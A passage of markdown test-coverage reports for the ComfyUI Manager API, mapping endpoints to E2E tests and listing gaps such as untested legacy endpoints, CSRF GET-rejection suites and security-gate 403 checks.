| 21 | POST queue/update_comfyui | ✓ test_e2e_task_operations | (fully covered) |
| 22 | GET comfyui_versions | ✓ test_e2e_version_mgmt (4 tests) | ✗ 400 on git-access failure |
| 23 | POST comfyui_switch_version | ✓ test_e2e_version_mgmt (negative only) | ✗ **positive path (intentionally skipped)**, ✗ 403 security gate |
| 24 | POST queue/install_model | ✓ test_e2e_task_operations | (fully covered) |
| 25 | GET db_mode | ✓ test_e2e_config_api, playwright manager-menu | (fully covered) |
| 26 | POST db_mode | ✓ test_e2e_config_api, playwright manager-menu | ✗ missing `value` KeyError→400 (only malformed JSON tested) |
| 27 | GET policy/update | ✓ test_e2e_config_api, playwright | (fully covered) |
| 28 | POST policy/update | ✓ test_e2e_config_api, playwright | ✗ missing `value` key |
| 29 | GET channel_url_list | ✓ test_e2e_config_api | (fully covered) |
| 30 | POST channel_url_list | ✓ test_e2e_config_api | ✗ unknown channel name (silent no-op) |
| 31 | POST manager/reboot | ✓ test_e2e_system_info | ✗ __COMFY_CLI_SESSION__ env branch |
| 32 | GET manager/version | ✓ test_e2e_system_info, playwright navigation | (fully covered) |
Note: queue/task has 3 rows above per kind; 30 glob endpoints = 32 row entries (queue/task counted per-kind).
## Glob v2 Summary
- **Fully covered** (row has no ✗ in Missing scenarios column): 15 endpoints
(is_legacy_manager_ui, customnode/installed, snapshot/getlist, snapshot/get_current, snapshot/save, queue/reset, queue/status, queue/start, queue/update_comfyui, queue/install_model, fetch_updates, get db_mode, get policy/update, get channel_url_list, get manager/version)
- **Partially covered** (some ✓ + some ✗ in Missing scenarios): 14 endpoints (row-level collapse of per-kind queue/task into 1 endpoint)
- **Intentionally skipped** (destructive, counted under NOT covered): 1 (snapshot/restore); switch_version has ✓ negative + skipped-positive so it falls under partial, not skipped
- Sum: 15 + 14 + 1 = 30 ✓
### CSRF-Mitigation Layer Coverage (separate from positive-path coverage above)
The 16 state-changing POST endpoints — commit 99caef55 converted 12+ of
these from GET→POST (the remainder such as queue/task, import_fail_info,
and import_fail_info_bulk were already POST but are included for contract
completeness) — are independently covered. Commit 99caef55 applied the
conversion to BOTH `comfyui_manager/glob/manager_server.py` (~91 lines)
and `comfyui_manager/legacy/manager_server.py` (~92 lines), so two test
files are required (the server-loading is mutex on `--enable-manager-legacy-ui`):
**Glob server**: `tests/e2e/test_e2e_csrf.py` (4 functions / 26 parametrized invocations — post-WI-HH; was 29 before the 3 dual-purpose endpoints were scoped out of the reject-GET fixture)
| Contract | Test | Coverage |
|---|---|---|
| Reject GET on 13 state-changing POST endpoints (glob; post-WI-HH) | TestStateChangingEndpointsRejectGet (parametrized ×13) | ✓ full |
| POST counterpart sanity (glob) | TestCsrfPostWorks (2 tests) | ~ spot-check (queue/reset + snapshot/save only) |
| Read-only GET still allowed — negative control (glob) | TestCsrfReadEndpointsStillAllowGet (parametrized ×11) | ✓ full |
**Legacy server** (WI-FF, audit-integrated in WI-GG): `tests/e2e/test_e2e_csrf_legacy.py` (4 functions / 26 parametrized invocations)
| Contract | Test | Coverage |
|---|---|---|
| Reject GET on 13 state-changing POST endpoints (legacy; queue/task→queue/batch, dual-purpose endpoints scoped to ALLOW-GET only) | TestLegacyStateChangingEndpointsRejectGet (parametrized ×13) | ✓ full |
| POST counterpart sanity (legacy) | TestLegacyCsrfPostWorks (2 tests — queue/reset + snapshot/save) | ~ spot-check |
| Read-only GET still allowed — negative control (legacy) | TestLegacyCsrfReadEndpointsStillAllowGet (parametrized ×11) | ✓ full |
**Important**: POST `snapshot/restore` and POST `comfyui_switch_version` are
listed as "intentionally skipped (destructive)" for POSITIVE-path coverage,
but their CSRF reject-GET contract IS covered by BOTH test files —
the destructive-skip only applies to the success-path assertion, not to
the security layer. The legacy-side coverage closes the regression-guard
gap that a revert of any legacy `@routes.post` back to `@routes.get` would
otherwise have slipped past CI.
---
# Section 2 — Endpoint × Test Coverage Matrix (Legacy-only)
| # | Endpoint | Test coverage | Gap |
|---|---|---|---|
| 1 | POST queue/batch | ~ debug-install-flow captures API sequence indirectly | ✗ No dedicated assertion test for batch semantics |
| 2 | GET customnode/getlist | ~ playwright custom-nodes triggers it via UI | ✗ No direct assertion on response shape, `skip_update` param, channel resolution |
| 3 | GET /customnode/alternatives | ✗ NOT COVERED | ALL scenarios |
| 4 | GET externalmodel/getlist | ~ playwright model-manager triggers via UI | ✗ No direct assertion on `installed` flag population, save_path resolution |
| 5 | GET customnode/versions/{node_name} | ~ debug-install-flow captures it | ✗ 400 on unknown pack, no direct test |
| 6 | GET customnode/disabled_versions/{node_name} | ✗ NOT COVERED | ALL scenarios |
| 7 | POST customnode/install/git_url | ✗ NOT COVERED | ALL (high+ security, may be intentional) |
| 8 | POST customnode/install/pip | ✗ NOT COVERED | ALL (high+ security, may be intentional) |
| 9 | GET manager/notice | ✗ NOT COVERED | ALL scenarios |
## Legacy-only Summary
- **Fully covered**: 0/9
- **Indirect-only** (triggered via UI flow but no direct assertion): 4/9
- **Not covered**: 5/9
---
# Section 3 — Orphan Tests (not mapped to HTTP endpoints)
Tests that do not directly assert HTTP endpoint behavior:
| Test file | Tests | Purpose |
|---|---:|---|
| `tests/cli/test_uv_compile.py` | 8 | `cm-cli --uv-compile` CLI entrypoint (not HTTP). Relocated from `tests/e2e/` in WI-PP (see Recommendations §4 — now ACTIONED). |
| `test_e2e_endpoint.py::test_startup_resolver_ran` | 1 | Log file assertion (server log contains UnifiedDepResolver) |
| `test_e2e_endpoint.py::test_comfyui_started` | 1 | `/system_stats` (ComfyUI core endpoint, not Manager) |
| `test_e2e_git_clone.py::test_02_no_module_error` | 1 | Log file regression check |
| Playwright UI-only tests (no API assertion) | ~14 of 22 | UI rendering, dialog lifecycle, filter/search — no HTTP assertion |
Total orphan tests (non-endpoint-direct): ~29 / 115 (25%)
---
# Section 4 — Critical Gaps (Prioritized)
## 🔴 High Priority — Legacy Endpoints with ZERO UI→effect Test Coverage
These endpoints ARE actively called by legacy UI JavaScript but have no Playwright test exercising the UI flow:
| Endpoint | JS call site | Missing UI→effect test |
|---|---|---|
| POST /v2/customnode/install/git_url | `common.js:248` | "Install via Git URL" button flow |
| POST /v2/customnode/install/pip | `common.js:213` | pip install UI flow |
| GET /v2/customnode/disabled_versions/{node_name} | `custom-nodes-manager.js:1401` | Node row "Disabled Versions" dropdown |
| GET /customnode/alternatives | `custom-nodes-manager.js:1885` | Alternatives display in custom nodes dialog |
| GET /v2/manager/notice | `comfyui-manager.js:418` | Notice display on Manager menu open |
→ These are **NOT dead code** — they require **UI→effect tests added**, not removal.
## 🟡 Medium Priority — Missing Scenarios (Covered Endpoints)
1. **queue/task 400 ValidationError** — no test verifies schema rejection. Adding `test_queue_task_invalid_body` with malformed `kind` value would be trivial.
2. **queue/history with `id=<batch_id>` + path traversal** — file-based history path not exercised.
3. **snapshot/remove path traversal** — security-critical but not asserted.
4. **comfyui_versions 400 on git failure** — would need to simulate git unavailable.
5. **POST db_mode/policy/update missing `value` key** — currently only tests malformed JSON; KeyError path untested.
## 🟢 Low Priority — Acceptable Gaps
1. **snapshot/restore + switch_version positive** — intentionally skipped (destructive). Acceptable.
2. ~~**Security level 403 gates** — require running with locked-down security_level; impractical in standard E2E env.~~ **PARTIAL (WI-LL via WI-KK, 2026-04-20)**: SR4 (snapshot/remove middle) + CV4 (comfyui_switch_version high+) are now covered via `test_e2e_secgate_strict.py` and `test_e2e_secgate_default.py` respectively. Remaining SECGATE Goals are reclassified (`e2e_verification_audit.md` classification-policy block): SR6/V5/UA2 are T2-pending-harness-ready (mechanical additions to strict.py); LGU2/LPP2 are NORMAL-legacy (needs `start_comfyui_legacy.sh`); IM4 is T2-TASKLEVEL (queue-observation pattern, not HTTP 403).
3. **import_fail_info positive path** — would require seeding a failed module import; complex setup.
---
# Section 5 — Recommendations
1. **Add UI→effect Playwright tests** for the 5 JS-called legacy endpoints (install/git_url, install/pip, disabled_versions, alternatives, manager/notice). All are live in legacy UI flows.
2. **Add minimal gap tests** for queue/task ValidationError + snapshot/remove path traversal — both are security-relevant.
3. **Convert debug-install-flow.spec.ts** from logging-only into an assertion test (verify queue/batch payload structure + cm-queue-status WebSocket events).
4. ~~**Consider moving uv_compile tests** to a separate CLI test directory (tests/cli/) — they are not E2E HTTP tests.~~ **ACTIONED (WI-PP)**: file now lives at `tests/cli/test_uv_compile.py`. CI workflow `.github/workflows/e2e.yml` updated to the new path. Placement hygiene restored.
---
# Section 6 — Cross-Report Consistency Check
| Report A claim | Report B claim | Status |
|---|---|---|
| 30 glob v2 endpoints | Row-level: 15 fully + 14 partial + 1 NOT covered = 30 (matches Summary L10-12) | ✓ consistent under row-no-✗ definition |
| 9 legacy-only endpoints | "4 covered, 5 not covered" | ✓ consistent |
| 154 scenarios total | (per-test scenario breakdown) | ⚠️ scenario-level count not aggregated in Report B; recommend adding |
| Security gates (middle/middle+/high+) | Security 403 paths not tested | ⚠️ gap confirmed |
| Deprecated endpoints flagged | fetch_updates 410 tested | ✓ consistent |
Internal accounting reconciled under the single "row has no ✗ in Missing scenarios column" definition for "fully covered". Earlier drafts of this report mixed three counting schemes (Summary 24/5/1, body-list 11/15/2, Section 6 27/30) that did not agree; this revision uses the row-level count uniformly (15/14/1 = 30 glob v2 endpoints) and aligns Summary L10-12, body L63-66, and Section 6 L172. Report A (endpoint_scenarios.md) and Report B (e2e_test_coverage.md) align on endpoint counts (30 glob v2 + 9 legacy = 39) and coverage categories under this definition.
---
*End of Coverage Gap Analysis*
+454
View File
@@ -0,0 +1,454 @@
# Report B — E2E Test Inventory + Coverage Mapping
**Generated**: 2026-04-18
**Source directories**:
- `tests/e2e/*.py` (pytest — HTTP + CLI E2E)
- `tests/playwright/*.spec.ts` (Playwright — legacy UI E2E)
## Summary
| Category | Files | Test Functions |
|---|---:|---:|
| pytest E2E (HTTP API) | 13 | 92 |
| pytest E2E (CLI — uv-compile) | 1 | 12 |
| Playwright (legacy UI) | 6 | 21 |
| Playwright (debug) | 1 | 1 |
| **TOTAL** | **21** | **126** |
> **Note**: +1 file / +4 functions vs prior counts reflect inclusion of `tests/e2e/test_e2e_csrf.py` (CSRF-mitigation contract suite, commit 99caef55). That suite's 4 test functions parametrize to 26 pytest invocations (13+2+11) after WI-HH removed 3 dual-purpose endpoints from the reject-GET fixture (they legitimately answer GET on the read-path and are covered only in the allow-GET class).
>
> **WI-Z Y2 sync (2026-04-19)**: Playwright legacy UI count 21 → 19 reflected Stage2 WI-F deletion of two `legacy-ui-navigation.spec.ts` tests (`API health check while dialogs are open`, `system endpoints accessible from browser context`) that were rewritten as direct-API violators; their coverage is now owned by `test_e2e_system_info.py`. TOTAL 119 → 117 was a downstream correction.
>
> **WI-AA sync (2026-04-19)**: Playwright legacy UI count 19 → 21 reflects addition of `tests/playwright/legacy-ui-install.spec.ts` (2 tests: LB1 Install button + LB2 Uninstall button) previously implemented but not inventoried. TOTAL 117 → 119. See dedicated subsection below.
>
> **WI-GG sync (2026-04-20)**: pytest E2E (HTTP API) file count 10 → 11 and function count 85 → 89 reflects addition of `tests/e2e/test_e2e_csrf_legacy.py` (4 new test functions / 26 parametrized invocations: 13 reject-GET + 2 POST-works + 11 allow-GET) from WI-FF. TOTAL 119 → 123 test functions. The legacy suite is the counterpart to `test_e2e_csrf.py` for the `--enable-manager-legacy-ui` server variant — required because `comfyui_manager/__init__.py` loads `glob.manager_server` XOR `legacy.manager_server`. See dedicated subsection below. (Accounting note: the higher-level audit `reports/e2e_verification_audit.md` Summary Matrix renders the 26 legacy invocations per-row, reaching TOTAL 143; both counts refer to the same underlying tests at different granularities — function-level here, invocation-level there.)
>
> **WI-LL sync (2026-04-20)**: pytest E2E (HTTP API) file count 11 → 13 and function count 89 → 92 reflects addition of two new SECGATE-coverage files (WI-KK deliverables, audit-integrated by WI-LL): `tests/e2e/test_e2e_secgate_strict.py` (strict-mode harness + SR4 PoC — 2 functions: `test_remove_returns_403` PASS + `test_post_works_at_default_after_restore` pytest.skip'd positive counterpart stub) + `tests/e2e/test_e2e_secgate_default.py` (default-mode demo + CV4 — 1 function: `test_switch_version_returns_403_at_default` PASS). TOTAL 123 → 126 test functions. These close 2 of the original 8 T2 SECGATE-PENDING Goals (SR4, CV4) and establish the strict-mode harness pattern (`start_comfyui_strict.sh` + config.ini backup/restore) for the remaining T2-pending-harness-ready Goals (SR6, V5, UA2). See the Classification policy block in `e2e_verification_audit.md` for the reclassification and propagation plan.
**Unique endpoints exercised**: 27 (glob v2) + 4 (legacy-only: queue/batch indirectly via UI)
---
# Section 1 — pytest E2E HTTP Tests
## tests/e2e/test_e2e_endpoint.py (7 tests)
Covers the main install/uninstall flow via `/v2/manager/queue/task` and `/v2/customnode/installed`.
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestEndpointInstallUninstall::test_install_via_endpoint` | POST queue/task, POST queue/start | Install CNR pack (success) | pack dir exists + .tracking file present |
| `TestEndpointInstallUninstall::test_installed_list_shows_pack` | GET customnode/installed | Pack appears in installed list | cnr_id match in dict values |
| `TestEndpointInstallUninstall::test_uninstall_via_endpoint` | POST queue/task kind=uninstall | Uninstall success | pack dir removed from disk |
| `TestEndpointInstallUninstall::test_installed_list_after_uninstall` | GET customnode/installed | Post-uninstall state | cnr_id absent from installed list |
| `TestEndpointInstallUninstall::test_install_uninstall_cycle` | queue/task x2 | Full install→verify→uninstall cycle | All above assertions in one test |
| `TestEndpointStartup::test_comfyui_started` | GET /system_stats | Server health | 200 response |
| `TestEndpointStartup::test_startup_resolver_ran` | (log file) | UnifiedDepResolver ran at startup | log contains `[UnifiedDepResolver]` + "startup batch resolution succeeded" |
## tests/e2e/test_e2e_git_clone.py (3 tests)
Covers nightly (URL-based) install via `/v2/manager/queue/task` which triggers git_helper.py subprocess.
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestNightlyInstallCycle::test_01_nightly_install` | POST queue/task selected_version=nightly | git clone via Manager API | pack dir exists + .git directory present |
| `TestNightlyInstallCycle::test_02_no_module_error` | (log file) | No ModuleNotFoundError regression | log does not contain "ModuleNotFoundError" |
| `TestNightlyInstallCycle::test_03_nightly_uninstall` | POST queue/task kind=uninstall | Uninstall nightly pack | pack dir removed |
## tests/cli/test_uv_compile.py — RELOCATED (WI-PP)
Previously tracked here as `tests/e2e/test_e2e_uv_compile.py`. Moved to
`tests/cli/` in WI-PP because every test in the suite drives cm-cli as a
subprocess; none of them exercise HTTP endpoints. The 8 tests (post
WI-MM/NN/OO consolidation) continue to cover install / reinstall (xfail-marked
for purge_node_state) / verbs-with-uv-compile (parametrized ×5) / uv-sync
no-packs-exits-zero / no-packs-emits-signal / with-packs / conflict
attribution with specs. CI runner updated in `.github/workflows/e2e.yml` to
point at the new path.
## tests/e2e/test_e2e_config_api.py (10 tests)
Covers GET/POST round-trip on configuration endpoints.
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestConfigDbMode::test_read_db_mode` | GET db_mode | Read current value | text in {cache, channel, local, remote} |
| `TestConfigDbMode::test_set_and_restore_db_mode` | GET/POST db_mode | Set→read-back→restore | POST 200 + verify echo + restore verified |
| `TestConfigDbMode::test_set_db_mode_invalid_body` | POST db_mode | Malformed JSON | 400 |
| `TestConfigUpdatePolicy::test_read_update_policy` | GET policy/update | Read current policy | text in {stable, stable-comfyui, nightly, nightly-comfyui} |
| `TestConfigUpdatePolicy::test_set_and_restore_update_policy` | GET/POST policy/update | Set→read-back→restore | Round-trip verification |
| `TestConfigUpdatePolicy::test_set_policy_invalid_body` | POST policy/update | Malformed JSON | 400 |
| `TestConfigChannelUrlList::test_read_channel_url_list` | GET channel_url_list | Response shape | has `selected` (str) + `list` (array) |
| `TestConfigChannelUrlList::test_channel_list_entries_are_name_url_strings` | GET channel_url_list | Entry format | each entry is "name::url" string |
| `TestConfigChannelUrlList::test_set_and_restore_channel` | GET/POST channel_url_list | Switch channel + restore | Verify `selected` matches set value |
| `TestConfigChannelUrlList::test_set_channel_invalid_body` | POST channel_url_list | Malformed JSON | 400 |
## tests/e2e/test_e2e_customnode_info.py (11 tests)
Covers custom node info/mapping endpoints.
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestCustomNodeMappings::test_getmappings_returns_dict` | GET customnode/getmappings?mode=local | Success response | 200 + dict |
| `TestCustomNodeMappings::test_getmappings_entries_have_node_lists` | GET getmappings | Entry structure | each value is `[node_list, metadata]` |
| `TestFetchUpdates::test_fetch_updates_returns_deprecated` | GET customnode/fetch_updates | Deprecated endpoint | 410 + `deprecated: true` |
| `TestInstalledPacks::test_installed_returns_dict` | GET customnode/installed | Success | 200 + dict |
| `TestInstalledPacks::test_installed_imported_mode` | GET installed?mode=imported | Startup snapshot | 200 + dict |
| `TestImportFailInfo::test_unknown_cnr_id_returns_400` | POST import_fail_info | Unknown pack | 400 |
| `TestImportFailInfo::test_missing_fields_returns_400` | POST import_fail_info | Missing cnr_id+url | 400 |
| `TestImportFailInfo::test_invalid_body_returns_error` | POST import_fail_info | Non-dict body | 400 |
| `TestImportFailInfoBulk::test_bulk_with_cnr_ids_returns_dict` | POST import_fail_info_bulk | cnr_ids list | 200 + null for unknown |
| `TestImportFailInfoBulk::test_bulk_empty_lists_returns_400` | POST import_fail_info_bulk | Empty cnr_ids+urls | 400 |
| `TestImportFailInfoBulk::test_bulk_with_urls_returns_dict` | POST import_fail_info_bulk | urls list | 200 + dict |
## tests/e2e/test_e2e_queue_lifecycle.py (9 tests)
Covers the queue management lifecycle.
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestQueueLifecycle::test_reset_queue` | POST queue/reset | Empty the queue | 200 |
| `TestQueueLifecycle::test_status_after_reset` | GET queue/status | Post-reset state | all counts 0, is_processing bool |
| `TestQueueLifecycle::test_status_with_client_id_filter` | GET queue/status?client_id=X | Client filter | response echoes client_id |
| `TestQueueLifecycle::test_start_queue_already_idle` | POST queue/start | Idle worker start | status in {200, 201} |
| `TestQueueLifecycle::test_queue_task_and_history` | POST queue/task + queue/start + GET queue/status + GET queue/history | Full lifecycle | done_count>0 polled, history 200 or 400 |
| `TestQueueLifecycle::test_history_with_ui_id_filter` | GET queue/history?ui_id=X | Filter history | 200 or 400 (serialization-limit) |
| `TestQueueLifecycle::test_history_with_pagination` | GET queue/history?max_items=1&offset=0 | Pagination | 200 or 400 |
| `TestQueueLifecycle::test_history_list` | GET queue/history_list | List batch IDs | 200 + `ids` list |
| `TestQueueLifecycle::test_final_reset_and_clean_state` | POST queue/reset + GET queue/status | Cleanup | pending_count==0 |
## tests/e2e/test_e2e_snapshot_lifecycle.py (7 tests)
Covers snapshot save/list/remove cycle.
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestSnapshotLifecycle::test_get_current_snapshot` | GET snapshot/get_current | Current state dict | 200 + dict |
| `TestSnapshotLifecycle::test_save_snapshot` | POST snapshot/save | Save new snapshot | 200 |
| `TestSnapshotLifecycle::test_getlist_after_save` | GET snapshot/getlist | List contains new snapshot | items.length > 0 |
| `TestSnapshotLifecycle::test_remove_snapshot` | POST snapshot/remove?target=X + GET getlist | Remove + verify | target absent + count decremented |
| `TestSnapshotLifecycle::test_remove_nonexistent_snapshot` | POST snapshot/remove | Nonexistent target | 200 (no-op) |
| `TestSnapshotLifecycle::test_remove_path_traversal_rejected` | POST snapshot/remove?target=../... | Path-traversal targets must be rejected | 400 + sentinel file outside snapshot dir preserved (SR3) |
| `TestSnapshotGetCurrentSchema::test_getlist_items_are_strings` | GET snapshot/getlist | Items shape | each item is string |
> Note: `POST /v2/snapshot/restore` intentionally NOT tested (destructive).
## tests/e2e/test_e2e_system_info.py (4 tests)
Covers system-level endpoints (version, legacy UI flag, reboot).
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestManagerVersion::test_version_returns_string` | GET manager/version | Non-empty string | 200 + len>0 |
| `TestManagerVersion::test_version_is_stable` | GET manager/version x2 | Idempotency | consecutive calls return same value |
| `TestIsLegacyManagerUI::test_returns_boolean_field` | GET is_legacy_manager_ui | Response shape | `{is_legacy_manager_ui: bool}` |
| `TestReboot::test_reboot_and_recovery` | POST manager/reboot + GET version | Restart + recovery | 200 or 403 (security); server polls healthy; version unchanged |
## tests/e2e/test_e2e_task_operations.py (16 tests)
Covers queue/task operations for kinds NOT tested in test_e2e_endpoint.py.
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestDisableEnable::test_disable_pack` | POST queue/task kind=disable | Disable moves pack to .disabled/ | pack dir gone + .disabled/ entry present |
| `TestDisableEnable::test_enable_pack` | POST queue/task kind=enable | Enable restores pack | pack dir present + .disabled/ entry gone |
| `TestDisableEnable::test_disable_enable_cycle` | queue/task x2 | Full disable→enable | Both transitions verified |
| `TestUpdatePack::test_update_installed_pack` | POST queue/task kind=update | Update pack | pack still exists after update |
| `TestUpdatePack::test_update_history_recorded` | GET queue/history?ui_id=X | History has update entry | 200 or 400 (serialization-limit) |
| `TestFixPack::test_fix_installed_pack` | POST queue/task kind=fix | Fix pack | pack still exists |
| `TestFixPack::test_fix_history_recorded` | GET queue/history?ui_id=X | History has fix entry | 200 or 400 |
| `TestInstallModel::test_install_model_accepts_valid_request` | POST queue/install_model | Valid model request | 200 (reset queue after) |
| `TestInstallModel::test_install_model_missing_client_id` | POST queue/install_model | Missing client_id | 400 |
| `TestInstallModel::test_install_model_missing_ui_id` | POST queue/install_model | Missing ui_id | 400 |
| `TestInstallModel::test_install_model_invalid_body` | POST queue/install_model | Invalid metadata | 400 |
| `TestUpdateAll::test_update_all_queues_tasks` | POST queue/update_all | Queue all update tasks | 200/403 or tolerated ReadTimeout |
| `TestUpdateAll::test_update_all_missing_params` | POST queue/update_all | Missing params | 400 ValidationError |
| `TestUpdateComfyUI::test_update_comfyui_queues_task` | POST queue/update_comfyui | Queue task | 200 + total_count>=1 after |
| `TestUpdateComfyUI::test_update_comfyui_missing_params` | POST queue/update_comfyui | Missing params | 400 |
| `TestUpdateComfyUI::test_update_comfyui_with_stable_flag` | POST queue/update_comfyui?stable=true | Explicit stable flag | 200 |
## tests/e2e/test_e2e_version_mgmt.py (7 tests)
Covers comfyui_versions + comfyui_switch_version endpoints.
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestComfyUIVersions::test_versions_endpoint` | GET comfyui_versions | Response shape | `{versions: list, current: str}` |
| `TestComfyUIVersions::test_versions_list_not_empty` | GET comfyui_versions | Non-empty list | len>0 |
| `TestComfyUIVersions::test_versions_items_are_strings` | GET comfyui_versions | Item type | each version is string |
| `TestComfyUIVersions::test_current_is_in_versions` | GET comfyui_versions | Current in list | current appears in versions |
| `TestSwitchVersionNegative::test_switch_version_missing_all_params` | POST comfyui_switch_version | No params | 400 or 403 |
| `TestSwitchVersionNegative::test_switch_version_missing_client_id` | POST comfyui_switch_version?ver=X | Partial params | 400 or 403 |
| `TestSwitchVersionNegative::test_switch_version_validation_error_body` | POST comfyui_switch_version | Error body shape | `error` field present (when 400 JSON) |
> Note: Actual version switching (destructive) intentionally NOT tested.
---
## tests/e2e/test_e2e_csrf.py (4 test functions / 26 parametrized invocations — post-WI-HH)
Covers the CSRF-mitigation contract from commit 99caef55 — state-changing
endpoints must reject HTTP GET so that `<img src>` / link-click /
redirect-based cross-origin triggers cannot mutate server state.
**Scope (per docstring)**: ONLY the GET-rejection contract. NOT covered
here: Origin/Referer validation (separate middleware), same-site cookies,
anti-CSRF tokens, cross-site form POST.
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestStateChangingEndpointsRejectGet::test_get_is_rejected[path]` | 13 POST endpoints (queue/start, queue/reset, queue/update_all, queue/update_comfyui, queue/install_model, queue/task, snapshot/save, snapshot/remove, snapshot/restore, manager/reboot, comfyui_switch_version, import_fail_info, import_fail_info_bulk — WI-HH removed db_mode, policy/update, channel_url_list from this list since they legitimately answer GET on the read-path) | GET must reject | status_code in (400,403,404,405); explicit `not in 200-399` guard |
| `TestCsrfPostWorks::test_queue_reset_post_works` | POST queue/reset | POST counterpart works | status_code == 200 |
| `TestCsrfPostWorks::test_snapshot_save_post_works` | POST snapshot/save + cleanup via getlist+remove | POST counterpart works | status_code == 200; cleanup |
| `TestCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds[path]` | 11 GET endpoints (version, db_mode, policy/update, channel_url_list, queue/status, queue/history_list, is_legacy_manager_ui, customnode/installed, snapshot/getlist, snapshot/get_current, comfyui_versions) | Negative control: read-only still works | status_code == 200 |
> Note: Three endpoints (`db_mode`, `policy/update`, `channel_url_list`) appear in BOTH reject-GET (POST path, write) and allow-GET (read path) lists — commit 99caef55 split each into a GET-read + POST-write pair; the POST path must reject GET while the GET path must continue to succeed.
---
## tests/e2e/test_e2e_csrf_legacy.py (4 test functions / 26 parametrized invocations)
Legacy-mode counterpart to `test_e2e_csrf.py`. Verifies the same CSRF
method-rejection contract but against the legacy server module loaded
via `--enable-manager-legacy-ui`. Added in WI-FF (commit following
99caef55) to close the legacy-side regression-guard gap. Audit-integrated
in WI-GG.
**Why a separate file** (per docstring L7–13): `comfyui_manager/__init__.py`
loads `glob.manager_server` XOR `legacy.manager_server` via mutex on the
`--enable-manager-legacy-ui` flag. One ComfyUI process exposes either the
glob or the legacy route table, never both — so verifying the legacy
CSRF contract requires its own module-scoped server lifecycle with the
legacy flag set (via `start_comfyui_legacy.sh`).
**Scope (per docstring L44–48)**: Same as `test_e2e_csrf.py` — ONLY the
method-reject layer. Origin/Referer, same-site cookies, anti-CSRF tokens,
and cross-site form POST are out of scope.
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestLegacyStateChangingEndpointsRejectGet::test_get_is_rejected[path]` | 13 POST endpoints (queue/start, queue/reset, queue/update_all, queue/update_comfyui, queue/install_model, **queue/batch** (legacy; replaces queue/task), snapshot/save, snapshot/remove, snapshot/restore, manager/reboot, comfyui_switch_version, import_fail_info, import_fail_info_bulk) | GET must reject under legacy server | status_code in (400,403,404,405); explicit `not in 200-399` guard |
| `TestLegacyCsrfPostWorks::test_queue_reset_post_works` | POST queue/reset (legacy) | POST counterpart works under legacy server | status_code == 200 |
| `TestLegacyCsrfPostWorks::test_snapshot_save_post_works` | POST snapshot/save + cleanup via getlist+remove (legacy) | POST counterpart works + cleanup | status_code == 200; cleanup |
| `TestLegacyCsrfReadEndpointsStillAllowGet::test_get_read_endpoint_succeeds[path]` | 11 GET endpoints (version, db_mode, policy/update, channel_url_list, queue/status, queue/history_list, is_legacy_manager_ui, customnode/installed, snapshot/getlist, snapshot/get_current, comfyui_versions) | Negative control: legacy read-only still works | status_code == 200 |
> **Endpoint-list deltas vs glob** (per docstring L23–36):
> - `queue/task` → dropped (glob-only); `queue/batch` → added (legacy task-enqueue equivalent)
> - `db_mode`, `policy/update`, `channel_url_list` → dropped from reject-GET (CSRF contract applies only to the POST write-path; legacy splits these into `@routes.get` read + `@routes.post` write, identical to glob). These 3 remain in the ALLOW-GET class above. (The glob `test_e2e_csrf.py` lists them in BOTH classes; WI-HH tracks the glob-side correction.)
---
## tests/e2e/test_e2e_secgate_strict.py (1 test active + 1 skipped; WI-KK PoC, WI-LL audit-integrated)
Strict-mode security-gate PoC. Covers the middle/middle+ gate 403 contract for
Goals that require elevating `security_level=strong`. Launches via
`start_comfyui_strict.sh` (which patches `user/__manager/config.ini` to
`security_level=strong`, leaves a `.before-strict` backup, and starts the server
on the E2E port) and restores the original config in the fixture teardown.
**Scope (per docstring L3–9)**: strict-mode 403 path for the middle/middle+
gates. The default E2E config (`security_level=normal`, `is_local_mode=True`)
puts NORMAL inside the allowed set for both gates per
`comfyui_manager/glob/utils/security_utils.py` L32–38, so this harness is the
only way to exercise the 403 side. This is the first of 4 planned Goals
(SR4 ← here; SR6, V5, UA2 ← mechanical additions using the same fixture).
| Test | Endpoint(s) | Scenario | Assertion semantics |
|---|---|---|---|
| `TestSecurityGate403_SR4::test_remove_returns_403` | POST `/v2/snapshot/remove?target=…` (under security_level=strong) | Goal SR4 — snapshot/remove below `middle` | (a) `status_code == 403`; (b) the seeded snapshot file on disk is NOT deleted (negative-check per `verification_design.md` §7.3 Security Boundary Template). |
| `TestSecurityGate403_SR4::test_post_works_at_default_after_restore` | (none — pytest.skip) | Positive counterpart of SR4 at default config | pytest.skip'd: deferred to `test_e2e_secgate_default.py` follow-up to avoid double-startup cost. Documents both halves of the gate contract. |
**Harness notes**:
- **Teardown ordering** is contract-critical: stop server FIRST, then restore config (the server holds the config-file lock; restoring before stopping causes a re-snapshot race). Documented in the fixture's `finally` block.
- Subsequent test modules continue to see `security_level=normal` because the backup restore happens deterministically in teardown.
## tests/e2e/test_e2e_secgate_default.py (1 test; WI-KK demo, WI-LL audit-integrated)
Default-mode security-gate demonstration. Covers the CV4 Goal (comfyui_switch_version
`high+` gate 403 contract) without any harness, leveraging the WI-KK research
finding that default `security_level=normal` + `is_local_mode=True` already
triggers 403 for high+ operations at the HTTP handler. This is the cleanest of
the 4 originally-classified-T2 high+ Goals to demonstrate the no-harness-needed
insight.
**Scope (per docstring L1–18)**: only the CV4 Goal. The other 3 originally-T2
high+ Goals are deferred with reclassification notes:
- **IM4** → **T2-TASKLEVEL**: non-safetensors check lives deep in the install pipeline (worker + `get_risky_level`), not at the HTTP handler. POST `/v2/manager/queue/install_model` accepts the request and queues a task; rejection only surfaces at task execution. Requires a queue-observation pattern, not a simple HTTP 403 check.
